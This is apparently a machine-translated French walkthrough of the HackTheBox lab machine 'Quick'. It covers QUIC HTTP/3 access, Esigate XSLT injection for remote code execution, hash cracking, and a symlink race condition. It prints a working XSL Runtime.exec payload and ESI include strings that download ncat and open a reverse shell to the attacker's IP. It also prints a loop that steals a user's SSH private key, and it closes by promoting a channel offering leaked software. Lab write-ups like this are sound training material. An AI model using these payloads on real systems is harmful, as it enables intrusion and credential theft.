HackTheBox. Procédure pas à pas rapide. QUIC HTTP / 3, injection XSLT, condition de course



Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .



Dans cet article, nous traitons de la connexion QUIC HTTP / 3, obtenons RCE grâce à l'injection XSLT et utilisons la technique Race Condition pour obtenir la clé privée de l'utilisateur.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.



Informations organisationnelles
, , Telegram . , , .



. , - , .



Reconnaître



Cette machine a une adresse IP de 10.10.10.186, que j'ajoute à / etc / hosts.



10.10.10.186 	quick.htb


La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500






Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.



nmap -A quick.htb -p9001,22






Nous avons donc deux services - SSH et le serveur Web Apache. Voyons ce que le Web a à offrir.







Il existe un lien vers un portail qui exécute HTTPS, mais le port est fermé. Ajoutez ce DNS à / etc / hosts.



10.10.10.186 portal.quick.htb



Mais le port 443 est fermé! On retrouve également une liste intéressante sur le site.







Analysons les répertoires avec gobuster. Dans les paramètres, nous spécifions le nombre de flux 128 (-t), l'URL (-u), le dictionnaire (-w), les extensions qui nous intéressent (-x) et les codes de réponse du serveur dont nous avons besoin (-s).



gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401






Et nous trouvons des pages intéressantes, mais toutes nécessitent une autorisation. Après un petit tour sur ce site, une question s'est posée. Pourquoi ai-je besoin d'un lien vers le portail si le port correspondant du serveur est fermé. Ensuite, nous analyserons à nouveau ce port de manière plus approfondie.



nmap -p443 -A quick.htb






sudo nmap -p443 -A -sU quick.htb






Et ce port est ouvert pour UDP!



Point d'accès



Sur Google, nous trouvons un article qui décrit la technologie QUIC (similaire au nom de la voiture).







De plus, en lisant sur ce protocole, nous apprenons que la possibilité de travailler avec ce protocole a été ajoutée à Chrome.







Mais vous ne pouvez pas vous connecter en utilisant la méthode spécifiée. Alors rappelez-vous que les connexions sont filtrées et allez à cet article .







Installons-le comme décrit dans l'article:



sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples






Tout a été assemblé avec succès, nous allons maintenant exécuter une demande sur notre site et obtenir une réponse!



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/






Pour plus de commodité, vous pouvez enregistrer la sortie dans un fichier HTML et ouvrir le document dans un navigateur, mais j'y suis déjà habitué. Nous voyons un lien vers une page contenant des documents, nous y référons donc.



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs






Et nous voyons deux documents. Téléchargez-les.



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf


Et dans Connectivity.pdf, il est indiqué avec quel mot de passe nous pouvons nous connecter, il nous suffit d'utiliser une sorte de courrier électronique comme nom d'utilisateur.







Rassemblons les informations ... La liste des clients a déjà été présentée, mais on peut aussi trouver des employés.







Créons une liste d'emails. Tim se réfère donc à QConsulting du Royaume-Uni, puis son e-mail sera probablement tim@qconsulting.co.uk. Faisons un pour tous les noms. Et après avoir essayé de nous connecter sous eux, nous avons réussi à accéder à elisa@wink.co.uk.







UTILISATEUR



Après avoir regardé un peu autour, j'ai remarqué que le plugin wappalyzer ne fonctionne pas. Jetons un coup d'œil aux technologies utilisées avec whatweb.



whatweb http://quick.htb:9001/home.php






Et nous voyons le titre X-Powered-By: Esigate . Cherchons des exploits.







Ainsi, une injection XSLT peut résulter de RCE. Nous avons appris de gobuster qu'il existe également des pages search.php et ticket.php. Si vous vous tournez vers la recherche. Ensuite, on nous dira qu'il n'y a pas de chaîne de recherche.







Passons ensuite la recherche de paramètres.







Et lorsque vous recherchez «2», il y a un résultat.







Mais sur la page ticket.php, vous pouvez créer un ticket.











Et nous obtenons l'enregistrement correspondant qui peut être trouvé. L'exploitation de la vulnérabilité est bien illustrée ici . Selon l'article, pour obtenir RCE, vous devez envoyer un lien vers le fichier XSL, qui aura le contenu suivant:



<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>


Où CDATA [] contiendra la commande en cours d'exécution. En guise de message, nous devons envoyer l'inclusion de ces fichiers.



<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>


Ensuite, démarrez l'écouteur sur la machine locale.



nc -lvp 4321


Et maintenant, nous allons créer des tickets et nous y référer. Puisque les caractères «>» et «<» seront échappés, nous ferons trois requêtes. Nous allons télécharger ncat, lui donner l'autorisation d'exécution et se reconnecter. Voici les valeurs CDATA [] pour trois fichiers:



1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh


Et nous allons exécuter 6 requêtes (la première est le contenu du message, la seconde est la demande du ticket).



<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>






Et nous voyons la connexion.











UTILISATEUR 2



Pour plus de commodité, créons et enregistrons une clé SSH.











Vous pouvez maintenant vous connecter en utilisant votre clé privée. Rappelons-nous le fichier db.php trouvé sur les sites, qui doit contenir les identifiants pour se connecter à la base de données. Regardons ça.







Connectons-nous aux informations d'identification reçues.



mysql -h localhost -u db_adm -p


Passons en revue les bases de données disponibles.







Choisissons la base de données rapide.







Regardons le tableau de cette base de données.







Enfin, nous obtenons des données de la table des utilisateurs.







Nous obtenons des hachages, mais cela ne fonctionne pas pour trier md5. Voyons le code où les hachages sont comparés.











Donc, le mot de passe entre d'abord dans la fonction de cryptage. Écrivons notre propre code qui itérera sur les mots de passe.



<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
	$str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>






Et nous obtenons le mot de passe. Vous ne pouvez pas changer le mot de passe localement, et cela ne fonctionne pas non plus pour SSH, alors vérifions le reste du code source. Comme vous pouvez le voir sur add_printer.php, plusieurs paramètres sont acceptés, y compris l'adresse IP et le port. Ensuite, une connexion est établie pour tester la connexion.







Le fichier job.php est beaucoup plus intéressant.







Mais il est impossible de se connecter au serveur, car il n'est pas disponible. Jetons un coup d'œil aux paramètres du serveur Web. Ainsi, le fichier est créé, puis il est transféré vers l'hôte et le port spécifiés lors de la création de l'imprimante. Mais grâce au délai de sommeil (0.5) et au fait que les permissions du fichier créé sont 777, nous pouvons le changer avant de l'envoyer, alors que nous avons tous les droits pour ce répertoire.







Ainsi, vous pouvez écrire un script qui liera ce fichier avec la clé privée de l'utilisateur!



cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done


Jetons un coup d'œil aux paramètres du serveur Web.







Ainsi, ce site fonctionne pour le compte de srvadm et n'est accessible que via localhost. Transférons le port et ajoutons l'entrée appropriée à / etc / hosts.



127.0.0.1 printerv2.quick.htb



sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb


Passons maintenant au site.







Et passons à l'ajout d'une imprimante.







Une fois l'imprimante ajoutée, vous devez l'activer.







Maintenant, exécutons notre script et choisissons imprimer.







Et nous verrons la connexion à l'auditeur et la clé SSH de l'utilisateur.











RACINE



Et dans le répertoire personnel, nous trouvons le répertoire .cache.







Et nous trouvons le fichier de configuration de l'imprimante.







Et dans la configuration, nous trouvons la chaîne de connexion à l'imprimante: d'



https://username:password@ip/printer







où nous obtenons le mot de passe que nous pouvons utiliser pour nous connecter via SSH.







Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.



All Articles